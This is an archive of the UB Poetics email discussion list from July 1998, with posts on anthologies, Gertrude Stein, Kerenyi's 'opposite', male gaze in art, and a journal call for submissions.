Blurbs in Everyday Life
Fri 10 Jul 1998

Gary Roberts asked: "Must I always pass through the same gate presided over by the same authorities in order to reach you...?" Gary? Let me introduce an idea I've been toying with for the last ten minutes:

Blurbs in Everyday Life

Roommate Chris Stroffolino shares his condiments and ground coffee like an angel-headed Daffy Duck trying to break through the cartoon world into a rigorously codified "everyday life." Lease-bound, currently employed, Stroffolino doesn't mix plastics with glass or newspaper, preferring Lefebvre's space to Bachelard's. "I'm going/ out/ with Rachel/ tonight," Stroffolino urges, with such insistence you have no choice but to believe him. If roommates are the "unacknowledged legislators of the Chore Wheel," Stroffolino's broad sweeping gestures "clean up the house," like they say. The legitimate heir of Brent Sunderland.

Non-romantic Female Friend Fatimah Tuggar returns all calls within the hour with the insistence and urgency of a thousand ringing telephones, and expects you to do the same. Tuggar never lets you forget she's every bit the Leo that you are. Whether sharing the new Wilt Stillman movie on 19th & Broadway or eating Indian food at Panna II, no other Non-romantic Female Friend so openly & fully articulates the "why" of "Men Basically Suck"--or is as eager to hear about your own sexual frustration. Taking her cues from previous NrFFs such as Maria Damon and Pamela Z, Tuggar offers the perfect blend of ideas, emotion, experience and, that crucial but too-often missing element in M/F relationships: humor. If it weren't for the occasional awkward moment of sexual tension, you'd admit it without hesitation or stuttering: "You're really my best friend." Highly recommended.

Workmates Brenda Iijima and Elizabeth Caine team up during break periods to offer you a choice: Smoking or non? Whether sharing poems, or griping about the office tattle-tale, Iijima and Caine offer empathy, support and the mutually held conviction that all dead-end jobs, including this one, exist for these moments tenderly held together. "Fifteen minutes with you," Smiths frontman Morrissey once whined, "Ooooh, I wouldn't say no" ? and neither will you. How could you?

Estranged Best Friend Erik Belgum's recent e-mails urge the reader toward reconciliation, reconnection. The poignancy of "Maybe someday we can talk about it" juxtaposed side-by-side with good-natured jokes about the arrogance of, say, Richard Kostelanetz, imply that connection still exists, however tenuous. Though lacking the depth of its previous incarnation, the surface of this relationship shimmers with the brilliant light of possibility reflecting off the shards of all our earlier lives. Who was it--Heidegger?--no, maybe Adorno ? well, it doesn't really matter, I don't even remember the quote itself. Belgum is making a comeback, determined to take the stage with Stroffolino, Tuggar, Iijima, Caine and others. Can you spell A-n-t-h-o-l-o-g-y o-f N-e-w A-m-e-r-i-c-a-n F-r-i-e-n-d-s? What logically follows "A"? B, as in Belgum. Put him in yours.

Okay ... you get the idea ...

Yours,

Gary

↑ Index

305. **louis stroffolino**

Re: why I love country music & poetics (artist of the floating womb)

Fri 10 Jul 1998

Drown on, drown on, Davis, Sullivan!
(oh what rhythm! what GESTURE! what crust..
systole diastole)
(are you on vacation jordan this week just asking)
Gary says that Gerald Burns has a poem on
watching strippers in the cold war bookshop
which might be an answer
post it, post on,
(oh float on by the floaters
the drifters
the spinners
the tops
taps

Izza 4?

On Fri, 10 Jul 1998, Jordan Davis wrote:

> *Henry --*
>
> *When you say you don't know whether the Millennium anthology(ies) does this is it because you haven't cracked it yet? Eh? Ask Blarnes, I saw him thumbing (his nose at) it a few weeks ago in the Cold War Bookshop in Oswego.*

> *O we can make theories*
> *about what it is not,*
> *we can make theories*
> *for thought and for not*
> *I mean I don't think that's theory exactly, to talk about a book without*
> *READING*
> *it*
>
> *and you know I care for you Henry so don't take that badly*
>
> *Barrett Watten well, I guess I'm with Ben Friedlander liking Watten's paradoxical position of attacking totalization by means of totalizing discourse .. and I am starting to see the charming vulnerability .. Bad History p.43 "there occurs a moment when EVEN I [my caps] can sum up an experience" ... that the anecdotal is being attacked here doesn't make me giggle less to think of EVERY SINGLE SENTENCE in the book thus far as such a summation. Is anybody else thinking MINIMA MORALIA as they read this? So far the only one I get stuck on the wrong side of is "To Elsie" -- hence my crustacean-inducing post -- what's anybody's favorite literature on what the tradition of male gaze lyric poetry does to things, people, poetry, etc?*
>
> *Not mocking, drowning,*
> *Is for*

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306. **louis stroffolino**

Re: Kerenyi's use of "opposite"

Fri 10 Jul 1998

---

or what does barthes mean when he "speaks"
of mythical speech's "benumbed look"
(i think he means it as a kind of flattery).....
c

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307. **ken|n|ing**

Re: why I love country music & poetics (artist of the floating womb)

Fri 10 Jul 1998

Jordan says: the charming vulnerability .. Bad History p.43 "there occurs a moment when EVEN I [my caps] can sum up an experience" ... that the anecdotal is being attacked here doesn't make me giggle less to think of EVERY SINGLE SENTENCE in the book thus far as such a summation.

And that's just it. "An Anna Blume" relishes the paradox. "Bad History" rues it. Still, the former is "about" love, the latter "about" politics.

Patrick F. Durgin

|
|
k e n n i n g``````````````|``````````````````````````
a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

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308. Henry Gould
Re: Blurbs in Everyday Life
Fri 10 Jul 1998

Henry Gould's endless endlessness is endlessly refined here as he rejoinders jovially to Jordan's quaint quips, as in his all-too-briefs lyric, "I Haven't Read It" in which he confesses to not having cracked either Millennium while sending-up the whole confused genre in the process cheese aisle while on a 20 min - no make that 30 - break from his jovial (did I use that word already today?) terminal nicknamed Terminal; as Rowena Fameuse flamed after skimming these gems with her pinky, "I'm - just - flab-flabbergasted!" And lest we forget - the book is FREE.

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309. Michael Coffey
Other introductions -Reply
Fri 10 Jul 1998

gary r.: I too tire of staid introductions to anthologies (though i don't really like the anthology form that much, it is really someone else doing the work for you and putting such a spin on it, though sometimes, i know, they are all we can get), though i doubt i would find caddell's and quartermain's so; but jeez, man, work on your own, that's the ticket isn't it, even if you don't have a publisher asking YOU to cull a collection and write an intro, you might be surprised what could happen if you DID cull a selection and propose to introduce it as you say. how bout that?

i have to admit this, though, by way of a question: who published the C&Q anthology on Brits and mics?; in this case, there is so much irish stuff (at least) that is hard to find, or expensive i should say.... a howdy to Irishman Randolph Healey, whose work i hope is in that anthology, i think randolph is a fellow on

this list. His Arbor Vitae is very interesting poem indeed, but only available in a chapbook.

And, gary r., i have to point out that yhou have complained about the center/periperhy dyad common to poetry introductions only to introduce your own about a gate, being outside it or inside it. as beckett says, "don't indict the words, they're no shoddier that what they peddle."

>>> UB Poetics discussion group 07/10/98 02:13pm >>>
I just finished reading Richard Caddell and Peter Quartermain's intro to their forthcoming anthology Other British and Irish Poetry since 1970, as currently given at Jacket#4. Having read a number of anthology intros over the years, I was not surprsied to recognize these latest historical narratives and critical syllogisms: they are familiar.

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in order to reach your poems?

Gary R.

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310. Robert Corbett
Not romantic, but drowning
Fri 10 Jul 1998

---

i just want to rant about the new yorker's article on stein which managed to be about as snidely dismissive as a positive article could be. the use of biography there could be well used in a course on the use and abuse of biography as a critical tool. obviously, the writer had no time for stein's experiments in language, but says rather that they were way to avoid confronting herself. i.e. stein should have written more like Kathryn Harrison. what this shows is that

whatever poets understand by the terms "self" & "reality" today, the popular press clings to a victorian notion, with a soupcon of freud (or rather Ego-Psych). And it ain't pretty, as far i am concerned. i suppose when the new yorker publishes the occasional literary treacle, it provides an opportunity to vent spleen, or cancel a subscription, but it is rather worrying that newspapers of record (the Times), literary reviews (the Oxford Dons of the New York Review and the London Review), etc, cling to a premodern notion of literature. when faced with such frustration, i often agree with Blake that "That which can be made explicit to the idiot is not worth my care," but ultimately for the sake of literary culture, this is a very dire situation.

for instance, consider the preference for round over flat characters, as in the ritual complaint, "David Foster Wallace [or insert your favorite misread writer] creates programmatic characters, whom, for all the brilliance of their talk and the quirkiness of their actions, never come alive for this reader." This is patent nonsense. Characters in a novel, play, poem, are not alive--they are not dead either, but is a confusion about what it means to suspend disbelief. (After all, however much we believe in the Ancient Mariner, we don't expect to meet him at the grocery store). "Roundness", "Aliveness", etc, are the shibboleths of the rear guard of realism, firmly entrenched in literary journalism in america. it is an easily deconstructed binary (are Dickens' characters round or flat? Doestevksi? if they are flat, why do they seem alive), which designates not an argument, but the likes and dislikes of the reader. Parse the sentence above as "I don't like the characters of Wallace's fiction" and it makes sense.

such a distinction seems even more odd now, because the characters that are the most memorable in today's popular culture are cartoons (the Simpsons, King of the Hill), the gang on Seinfeld, and Mulder & Scully. The cartoons are flat by definition, while I dare say that the best episodes of Seinfeld are dadaistic riffs on the way we live now. the spate of columns that used Seinfeld as an index for the increasing meanness of the culture last year was hilarious, though it proved neither Quayle nor journalists understood Murphy Brown. as for Mulder & Scully, even their palpable attraction suggests not a rich inner life, but a knowing wink on the part of Chris Carter about eighties' narratives of opposites attracting, as well as the extradiegetic knowledge on our part that such a romance would mean the end of the X-Files. popular culture has become modern, even post-modern, while literary journalists subscribe to the outmoded fashions of realism, desiring coherence and straightforward plot, legible character and prosaic epiphanies. i'm not saying that such criticism should be censored or such works of art be banned--i love a juicy anachronism as much as the next person. i am saying that forget about the liberal bias of the press, let's talk about the realistic bias of literary reviewers.

here endeth the lecture (and i know i am preaching to the choir).

robert

On Fri, 10 Jul 1998, Elizabeth Treadwell wrote:

> *What is the love poem, anyway? If you move it far enough away*
> *from the Romantic notions of self, would people still recognize*
> *it and respond to it as such?*
>
> *this part intrigues me. I have been wanting to post about an article on*
> *Gertrude Stein that was in a fairly recent New Yorker (excuse me!) wherein*
> *the author gave a very psychological reading of the lady's life and work.*
> *saying she only wrote 'that way' cause she was scared of her own psychology.*
> *and how V Woolf considered Stein a "generational failure".*
> *my questions:*
> *how is psychology (self?) framed?*
> *is there a new way into interiority? (i expect an immediate and foolproof*
> *response)*
> *does anyone else love the flatness of Stein's characterization (no i must be*
> *the only one)*
> *like the repetition in Ada?*
> *why must Woolf and Stein be opposed in this critical/gossip history? is*
> *their a way to integrate?*
> *(and i know they didn't BOND in REAL LIFE)*
>
> *excuse me. the New Yorker disturbed me.*
>
> *ps i just must say that bitterish reference to 'poetry of young women' and*
> *the Possibility of a trajectory (anthology) framed by women's writing sounds*
> *a bit HYSTERICAL!*
>
> *Elizabeth Treadwell*
> *Outlet, a periodical*
> *Double Lucy Books*
> *PO Box 9013*
> *Berkeley, Ca*
> *94709*
> *http://users.lanminds/com/~dblelucy*

Robert Corbett "you are there beyond/ tracings flesh can [redacted] take,/ and farther away surrounding and University of Washington informing the systems" - A.R. Ammons

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311. R. Gancie
and then the ones takin' the money
Fri 10 Jul 1998

"No one today hopes to conduct the psychology of the future in the vocabulary of the neurophysiologist , let alone that of a physicist, and principled ways of relaxing the classical "rules" of reduction have been proposed."---from The Intentional Stance by Daniel C. Dennett --- Then for all practical purposes, everyone takin' the money does exactly what Dennett claims they won't do, e.g. ground psychology in neuroscience, communication theory, AI, mathematics, engineering and, of course, physics. --- "A processing subsystem is characterized in terms of its function; it corresponds to a network or set of networks that maps an input and an output. Processing subsystems can be characterized more precisely as performing computations. A computation is a systematic mapping between interpretable inputs and outputs....The input can be interpreted as specifying quantities and a relation between them, and the output can be interpreted as specifying a quantity."---from Image and Brain by Stephen M. Kosslyn, Professor of PSYCHOLOGY at Harvard University---cp

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312. Christian Roess
Re: Poems for the Millennium
Fri 10 Jul 1998

Professor CD says on 9 july:

> *Now children. Let me explain. Tristan Tzara*
> *was Tristan Tzara. Paul Celan was Paul Celan.*
> *Paul Celan was a poet. HE was also a translator.*
>
> *T.S. Eliot was a great great poet. He also*
> *was a translator. But now, children,*

A child, my fellow list-mate, could have figured out that T.S.Eliot has a poem in Volume 1 of_ Poems For The Millennium_. YOU however did not know this because you have a strategy and agenda which we are not privy to. A child, however , could figure out with very little assistance that T.S. Eliot signed his name to a translation of a St.-John Perse poem. A child however, would not be as convinced as you seem to be that Tristan Tzara is Tristan Tzara or Paul Celan is Paul Celan, etc. On some level CD I don't know what the HELL you are talking about. You are chattering , thinking your words say what they are saying. Meanwhile, A CHILD would be delighted by your non-sense AND still be able to turn one page . ONE PAGE, instead of trying to teach us "children" a lesson.

Ok. Well what about another lesson.

William Carlos Williams wrote this in an essay :

"Destruction according to the Babylonia order of creation, comes before creation. . . . We must be destructive first to free ourselves from forms accreting to themselves forms we despise. Where does the past lodge in the older forms? Tear it out." And

"to destroy the past is precisely a service to tradition".

Joseph Riddel writes:

"The destruction of historical forms, of the tyrannous designs (the "TEXTS") of history . . .

(ie. Anthologies, and doesn't this volume by Joris & Rothenberg have as one of its projects, to tear out and free itself from the dusty old notions about anthologies?)

. . . opens up rather than closes the possibility of signification and mandates the freedom that must be like the beginning".

In that sense this "anthology" is the best thing that could have happened to T.S. Eliot. It dusts off the old anthologized T.S.Eliot. But guess what? To re-configure Eliot into a counter-poetic tradition , we have to do the work instead of letting Harold Bloom do it for us. If we care, we have to find Eliot's poetry ourselves, and figure out for ourselves what that gaping hole on page 382 should be filled with, or even WHY it should be filled (depending on our mood: are we for or against inclusion? : both delighted and/or anguished by the absence?)

My last post got cut off 3 times in transmission. It was a digression on [1]feuding neighbors , [2]George Oppen's breakthrough year of 1966 , [3]mentioning(s) that some of the "absent poets" (ie T.S. Eliot or Jack Spicer) from the _Poems For The Millennium_ ARE included as translators and [4]a quote from Walter Benjamin's "Task of the Translator", which may be seen as situating the translator's task within the (to quote Giorgio Agamben) scission wherein "Criticism is born". An extreme point in Western culture situated where the word comes unglued from itself: " and it points, on the near or far side of that separation , toward a unitary status for the utterance".

OR:

Stated another way, my fellow-list mate CD, you DID NOT TURN the page, as any child could do and WOULD if the sophisticated adult in us would stay out of the picture. OK?

For example, show a child, still learning to read, the letters T-S-E-L-I-O-T, hand him Volume 1 of _ Poems For The Millennium_ , turn to page 382, tell the child to identify the Letters T-S-E-L-I-O-T, all in a row . Then say, my dear child TURN the page to 383. Good, that's correct these letters don't occur all in a

row there. Ok, what about the next page? Oh, yes the letters T-S-E-L-I-O-T do occur on page 384. Very good . What's that you say? Yes, ok he is mentioned again on page 385. And you're only four years old?(I guess it just takes the CURIOSITY of child sometimes.)

That means, precious, that someone with those letters signed his name to a poem, changed the arrangement of the letters of French to an order in English.

You, however , CD can't turn the page. Or refused to. Ok it may be hard as an adult BUT : a child could do it. You possibly did not have hands when you wrote this on the 8 July:

> *I find it very strange that this anthology Poems for the Millenium has not one poem by T.S. Eliot.*

I am reminded of Michael Palmer's "Autobiography 3" :

Yes, I was born on the street known as Glass--as Paper,
Scissors or Rock.

Several of my ancestors had no hands.

Several of my ancestors used their pens

in odd ways.

Later on in "Autobiography 3" are these lines:

Once I bought an old boat.

I abandoned the tyrannical book of my dreams

and wrote about dresses, jewels, furniture and menus

eight or ten times in a book of dreams.

It sets me to dreaming when I dust it off.

Our time is a between time; best to stay out of it.

To summarize :I'm not buying your old boat CD. Perhaps a poem by T.S. Eliot has too much dust on it right now. Joris and Rothenberg , by including "not one poem" have afforded those of us who care to, an opportunity to dust off a 'pome' by TSE so as to "re-contextualize" it in terms of a "counter-poetic" tradition.{ a tradition which "counters", or counter-memorizes the open tomb of Modernism, which is a double opening: the poetic resistance to history's closure.(Joseph Riddel's ideas in his book_ The Inverted Bell_ are being borrowed here) }.

T.S. Eliot has been abandoned to this open tomb of 'modernist practices', and tyrannical anthologies for too long, as Mark Scroggins points out in his post to the list yesterday. Therefore, the "real" T.S. Eliot may AND may not be a poem by St.-John Perse. (Although, you would be hard pressed to convince me that

Eliot is or was an ancestor of mine with hands; or that he did have a hand in a translation, and EVEN used his pen. And I'm not talking metaphorically. He literally did not have hands. If you want my self-important explanation, please back channel). ie, I hate Eliot's "back-channeled" , less overt , form of anti-semitism. Less overt than Pound, that is.

This remark by Emmanuel Levinas in_ Nine Talmudic Readings_ seems crucial during this "between time":

"For we assume the permanence and the continuation of Israel and the unity of its self-consciousness throughout the ages. Finally, we assume the unity of the consciousness of mankind, claiming to be fraternal and one throughout time and space.It is Israel' history which has suggested this idea, even if mankind, now conscious of its oneness, allows itself to challenge Israel's vocation, its concrete universality. Does not antisemitism, a phenomenon unique in its kind, attest to its translogical nature?"

_____ Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

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313. **Christian Roess**

Re: Poems for the Millennium

Fri 10 Jul 1998

Professor CD says on 9 july:

> *Now children. Let me explain. Tristan Tzara*
> *was Tristan Tzara. Paul Celan was Paul Celan.*
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A child, my fellow list-mate, could have figured out that T.S.Eliot has a poem in Volume 1 of_ Poems For The Millennium_. YOU however did not know this because you have a strategy and agenda which we are not privy to. A child, however

_____ Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

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314. Christian Roess
Re: Poems for the Millennium
Fri 10 Jul 1998

Professor CD says on 9 july:

> |

_____ Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

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315. Ryan Whyte
Announce: Aporia #1 and call for submissions
Fri 10 Jul 1998

July 10 1998. Please distribute where appropriate.

*** Announce: Aporia ***

ISSN 1480-9389
28 pages offset/photocopy

Aporia is a small-press journal focusing on experimental writing and art criticism. It is intended as a vehicle for radical or "difficult" writing which may not have an outlet in the usual art and theory publications. In a larger sense, Aporia is an anti art-magazine.

Aporia #1, on "space and the artwork," features the work of:

Alan Sondheim
Nick Piombino (on Gins/Arakawa)
Gordon Lebredt
Ryan Whyte
Ed Aoki
and Tosh Berman (on the Benshi tradition),

among others.

Single issues are $3 Canadian, or $2.25 U.S. Two issue subscriptions are available, for $5 Can for Canadian subscribers, $4 U.S. for U.S. subscribers, and $6 U.S for overseas subscribers. Please make cheques out to Ryan Whyte.

Aporia is now accepting submissions for issue #2, on "Time." The deadline for submissions is October 1, 1998. Future issues will focus on "Color," "Void," "Light," and "the Avant-Garde."

Please direct all correspondence to the editor:

Ryan Whyte
504 Queen St. East
Toronto, ON, Canada M5A 1V2
email: [redacted]

---end---

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316. **louis stroffolino**
Re: Not romantic, but drowning
Fri 10 Jul 1998

Jordan asks--I think--about literature of interest re male gaze... well been thinking been wanting to rant about that Wayen Kostenbaum piece on Vanessa Beecroft in the latest ARTFORUM lately and so will well he begins the piece with going to see a Jane Frielecher show and expressing boredom (or more likely ENNUI) at--not at the work per se (nor have I seen it nor will judge but that's the issue HERE)--but at the MEDIUM (can you BELIEVE that it's 1998 and some people still PAINT on WALLS and only on WALLS?" come on now, he'd probably add, this is the error of the HUGO BOSS PRIZE and that souglass clown and his slowed-down 24 hour version of PSYCHO and the sequel currently at the guggenheim).... After, claiming the PASSE quality of the MEDIUM or GENRE in which frielicher works, he moves on to praise (i think it's praise) Beecroft's show of 20 or so models, 5 naked, all but 5 wearing clothes by GUCCI GUCCI GUCCI. A "by invite only" show (but they invite a lot of people it says here)--therefore "special." Kostenbaum is simply ASTOUNDED that skinny model women's legs do not touch at their crotch. And this is the NEW ART, the "interactive" "installation piece." Question: am I silly or just plain "out of the ballpark" for imagining the scene at this show, as stiff and stuffy???? Would rather see the frielicher, and then maybe go to a topless cabaret a certain A. Berrigan told me about--no GUCCI at least there, one step closer to the more "naked" voyeurism i assume is more available at the kind of strip clubs guiliani wants to close down (i did go once with fellow Hard Press author Sharon Messmer; i wonder if the baby doll lounge made the AX).... Well, have I made my preferences "clear"? And, no, I'm not going to retell the story about baby's first reading with Bernstein in 89 and his public response to my early poem "blackburniana", but I may mention that my recent, as yet unpublished piece "NUDE" (which I really should remember to send to Eileen Myles after hearing her portrait of the male nude model she had "sit" for her creative writing class--but this is the "female gaze" or at least one of them) was rejected by Mark Nowak's magazine (I forget the name I always get it confused with that thing in philly). I had sent it in response to his call for his "VOYEUR/VOYAGER" issue, but I guess he didn't want something

so much VOYEUR as VOYAGER, or if he sees the two as one, he sees the VOYEUR as a kind of VOYAGER whereas I might be interested in figuring the VOYAGER as a kind of VOYEUR, a line of emphasis (my sister prefered to be "lost in space" too "lost lost i want you lost" as Frank O'Hara says) so drowning in a liquor not yet brood

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317. **Maria Damon**

invite

Fri 10 Jul 1998

---

okay everyone so i'm down on the cape for a while. anyone who wants to stop in after the boston alternative poetry conference is welcome to do so. back channel for info if that sounds nice. i shd warn you it's a bit of a cultural void here in woods hole w/ very little reading material at the house other than the hannah weiner i've brought along...md

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318. **toddbaron**

Re: romantic-not women duelling--romatinc --men asking--duelling romatic--

Fri 10 Jul 1998

Elizabeth Treadwell wrote:
>
> >What is the love poem, anyway? If you move it far enough away
> >from the Romantic notions of self, would people still recognize
> >it and respond to it as such?
>
> this part intrigues me. >

The wonder of Stein has always been , fr me, the language as a COMPOSING TOOL--not one which reports. So, for yr question there--about "interior" I think the way is always the same--a construction of grammar is a construction of the self. Stein's "voice" is not a personaility--which so many hate her for--or blame her for--anymore than the architecture of Neutra or Schindler is a direct read of them"selves". Stein constructed--and attempted to get to a construction of the poem, the play, the fiction, the essay. Thus, by her composing a world through noitcing a world by composing a world she asked "what is a sentence. A sentence is a part of speech." & " How is sentiment maintained. A pause." Here I might sound like a fool in love (sic) but here I must say that Stein's composing a world(sound) through the grammatical is indeed a grammar of the self that need not focus on the one interiority.

Perhaps I've been inside too long and need the sun--or
perhaps "a grammar relates to not liking to see again those you used to know."

Tb

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319. **maz881**
Re: Watten)Schwitters)Eros)Romance)
Fri 10 Jul 1998

I guess barratt watten was right, a bus ride is better than most poems.

<<Date: Thu, 9 Jul 1998 19:26:15 EDT
From: henry <[redacted]>
Subject: Re: Watten)Schwitters)Eros)Romance)

Oh well, we're all going a-historical, we rememeber what the other one forgot, blah blah. "Elite". Dangers of subject / object. Romanticism is a threat in 1998?

Here's something about love, forthcoming in Nedge #6, courtesy of Stuart Blazer, of Provence, which has some tradition in that line:

When you love you have no eyes
is what she said; you just see love.
She didn't leave until he hurt
the baby. Young, oriental, scarred,
adopted since five, living now in France.
We wait for the bus, passing time.

Almost beautiful. I'm a fool for it each time.
Even blind, ears would be my eyes.
It's not just Europe, though granted, it is France.
Whose gestalt makes love
evident: its signs and scars,
proof that too much pleasure hurts.

A black belt and still she let him hurt
her. Love, she called it at the time,
so completely scarred
I'm forced to turn my eyes
though who am I to question what they meant by love?
Might as well read de Sade or Anatole France...

Not only the cooking is mouth-watering in France;
hot enough to burn the tongue or at least hurt

you into wanting more, love
here is a way of living time.
Its forms tease and please the eyes
leaving them finally sated, scarred.

Betrayed, disfigured, bruised, scarred
in existential oriental France
where it's a festival of talk with lips and eyes
that keeps on until the whole body hurts,
a kind of tatouage, skin pierced by time
displaying our own and others' love.

Disease and remedy, love
polishes its golden silver scars
brightening our passage through time,
French but not confined to France
it radiates as from a sun a hurt
so essential we both offer then shield our eyes.

When you love you have no eyes
is what she said; you just see love.
"And we came out once more to see the scars."

- Stuart Blazer
Aix-en-Provence
June, 1998>>

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320. Daniel Zimmerman
Re: Kerenyi's use of "opposite"
Fri 10 Jul 1998

Gary,

I think you'll find the referent for "opposite" on the same page [11 in my paperback Bollingen ed.], which you quote below: "the standpoint of the deity,' as confirmed on page 12, where he says that "the Minoan gesture . . . revelas man in a wholly religious situation: not oriented solely toward himself and his fellow men, but determined by something other, something outside hmiself, caught up in an atmosphere of festival as in an enchanted world." Further down the same page he says that "the Minoan bull game was clearly a festive game. In honor of whom? The Great Goddess of nature and life? Nikolaos Platon drewthis inference from his interpretation of Minoan art. In his view, the goddess was the divine onlooker, the 'opposite' . . ."

Dan

Gary Sullivan wrote:
>
> Everyone:
>
> Reading Carl Kerenyi's _Dionysos, the Archetypal Image of Indestructible Life_
> this weekend near Woodstock (trees! streams! no constant low-level hum of
> electricity! lots of free marijuana!) I ran across this pretty wonderful
> passage on Cretan / Minoan art ... but, now I have a question & thought maybe
> someone could help me out, either posting here or backchannel: What does
> Kerenyi mean here by "opposite"? I'm totally baffled, have read it to a couple
> poet friends & roommate Chris, and, well, we can't figure it out. PLEASE
> help!!!
>
> --Gary
>
> Cretan art ignored the terrifying distance between the human and the
> transcendent which may tempt man to seek a refuge in abstraction and to create
> a form for the significant remote from space and time; it equally ignored the
> glory and futility of single human acts, time-bound, space-bound. In Crete
> artists did not give substance to the world of the dead through an abstract of
> the world of the living, nor did they immortalize proud deeds or state a humble
> claim for divine attention in the temples of the gods. Here and here alone the
> human bid for timelessness was disregarded in the most complete acceptance of
> the grace of life the world has ever known. For life means movement and the
> beauty of movement was woven in the intricate web of living forms which we call
> "scenes of nature"; was revealed in human-bodies acting their serious games,
> inspired by a transcendent presence, acting in freedom and restraint,
> unpurposeful as cyclic time itself." --this section is actually a direct quote
> from H.A. Groenewegen-Frankfort, from her book _Arrest and Movement_ ... then
> Kerenyi says: "Minoan art fully justifies this negative
> characterization--negative from the standpoint of man as center, as the vehicle
> of his own historical and non-historical glory, but not from the standpoint of
> the deity, whose presence it demands and requires. Man is always on the edge of

> this epiphany of the spirit--the spirit or spirits of life and nature--if not
> face to face with it. In this view an intimation of the godhead could be
> manifested not only in a swarm of insects, in birds, or in the beasts of the
> sea, but also in a human gesture, and it could in turn determine man's
> gestures. ... here I am speaking not of cult gestures side by side with other
> equally characteristic gestures of simple human existence, but of *the* gesture
> which time and time again, in different forms of movement, represents the
> identical situation of man: his non-central position which demands an
> "opposite" and can be understood only as an "opposite." ..."
>
> PS: Some of you will note that this book wasn't on my list of summer
> "plan-to-read"s. So, why am I reading it & not the "planned" books? A
> confession: I am a really, really, really bad planner ...

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321. **Karen Kelley**

Re: romantic-not women duelling

Fri 10 Jul 1998

Check out (in one of my *favorite* books _Breaking the Sequence: Women's Experimental Fiction_ by Ellen Friedman & Miriam Fuchs) the essay: "Woolfenstein" by Rachel Blau DuPlessis. She manages to not ignore the two women's obvious differences, but doesn't let them get in the way of an intertextual analysis. Her reading of _The Waves_ as influenced by Stein's "beginning again"-ness (among other things) is way cool. Princeton U, publishers.

Actually, I was thinking of love in a slightly different context yesterday. I don't know who it was who said we can learn morality from novels, but I started thinking again about the "people" I've learned most from (& loved) and made my not complete but pretty close list:

Emma Bovary
Anna Karenina
Kate Pointellier
Isabel Archer
Tess Durbeyfield
Molly Bloom
(& Leopold)

Anyone listees with characters they feel really speak to "how one lives one's life"?

P.S. Elizabeth: I too love the "flatness" of Stein--and see it a bit, perhaps, in _Orlando_,
though I love Woolf best in her "roundness" (_To the Lighthouse_).

Elizabeth Treadwell wrote:

> *What is the love poem, anyway? If you move it far enough away*
> *from the Romantic notions of self, would people still recognize*
> *it and respond to it as such?*
>
> *this part intrigues me. I have been wanting to post about an article on*
> *Gertrude Stein that was in a fairly recent New Yorker (excuse me!) wherein*
> *the author gave a very psychological reading of the lady's life and work.*
> *saying she only wrote 'that way' cause she was scared of her own psychology.*
> *and how V Woolf considered Stein a "generational failure".*
> *my questions:*
> *how is psychology (self?) framed?*
> *is there a new way into interiority? (i expect an immediate and foolproof*
> *response)*
> *does anyone else love the flatness of Stein's characterization (no i must be*
> *the only one)*
> *like the repetition in Ada?*
> *why must Woolf and Stein be opposed in this critical/gossip history? is*
> *their a way to integrate?*
> *(and i know they didn't BOND in REAL LIFE)*
>
> *excuse me. the New Yorker disturbed me.*
>
> *ps i just must say that bitterish reference to 'poetry of young women' and*
> *the Possibility of a trajectory (anthology) framed by women's writing sounds*
> *a bit HYSTERICAL!*
>
> *Elizabeth Treadwell*
> *Outlet, a periodical*
> *Double Lucy Books*
> *PO Box 9013*
> *Berkeley, Ca*
> *94709*
> *http://users.lanminds/com/~dblelucy*

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322. Karen Kelley

Re: Not romantic, but doesn't need curlers: you can just wash it & go

Fri 10 Jul 1998

Tina Brown used to run Vogue or Mademoiselle or something similarly femme. They
brought her on as editor to make the NYer more trendy.

So the New Yorker likes Jorie Graham but not Stein. Perhaps they like writers who
write round but are flat, vs flat writers who are round in person.

Secretly though I think Stein is often dismissed because her haircut was

too
butch. Seriously.

Robert Corbett wrote:

> i just want to rant about the new yorker's article on stein which managed
> to be about as snidely dismissive as a positive article could be. the

use
> of biography there could be well used in a course on the use and abuse

of
> biography as a critical tool.

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323. George Bowering

Re: Kerenyi's use of "opposite"

Sat 11 Jul 1998

... here I am speaking not of cult gestures side by side with other
>equally characteristic gestures of simple human existence, but of *the*
>gesture
>which time and time again, in different forms of movement, represents the
>identical situation of man: his non-central position which demands an
>"opposite" and can be understood only as an "opposite." ..."

I havent been reading all that closel;y, but my guess is that he means it in its primary meaning; i.e. facing him, as a dancer or dining partner.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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324. **Daniel Zimmerman**
Re: Kerenyi's use of "opposite"
Sat 11 Jul 1998

Gary,

As a footnote to my earlier reply, a statement by the Jungian analyst Edward C. Whitmont [in _The Return of the Goddess_]: "Life as a dramatic play, as theater (_theatron_ in Greek meant a place for seeing, but especially 'A SHOWPLACE FOR DIVINE ONLOOKERS'), is an archetypal motif recurring over and over in dreams and poetry" (qtd. in Stephen Larsen, _The Mythic Imagination_ 29). [my caps; Whitmont may echo Kerenyi's phrase here].

Dan

Gary Sullivan wrote:
>
> Everyone:
>
> Reading Carl Kerenyi's _Dionysos, the Archetypal Image of Indestructible Life_
> this weekend near Woodstock (trees! streams! no constant low-level hum of
> electricity! lots of free marijuana!) I ran across this pretty wonderful
> passage on Cretan / Minoan art ... but, now I have a question & thought maybe
> someone could help me out, either posting here or backchannel: What does
> Kerenyi mean here by "opposite"? I'm totally baffled, have read it to a couple
> poet friends & roommate Chris, and, well, we can't figure it out. PLEASE
> help!!!
>
> --Gary
>
>

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325. **henry gould**
Re: Watten)Schwitters)Eros)Romance)
Sat 11 Jul 1998

On Fri, 10 Jul 1998 19:33:34 EDT <[redacted]> said:
>I guess barratt watten was right, a bus ride is better than most poems.
>
When you get a little older, try them both - bus rides, poems - you might

learn something!
- Henry Gould

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326. **David Baratier**
Pi-bolar "opposite" of Kerenyi
Sat 11 Jul 1998

What does stroffolino mean when he "speaks" of ""barthes "speaks" of mythical speech's "benumbed look" ""? The stroffolinolion quotes split our attention toward the author, the authored, and the relation between them in the way that "clams" are the closest thing to "bait" I can think of. Barthes is writing of the unfolding of a name, since the character who says "I" has no name but at the same time "I" immediately becomes a name. To say ""barthes 'speaks'" inevitably attributes signifieds into plurality, a biographical duration where one cannot return to barthes who can never ride a horse with no name.

Ron I disagree. I believe the eliot good/person bad person thing is genetic. Therefore the same issue up and through the millenium.

Thinking about the gazes, I think male / male, female / female, are doing wild recasts recently.

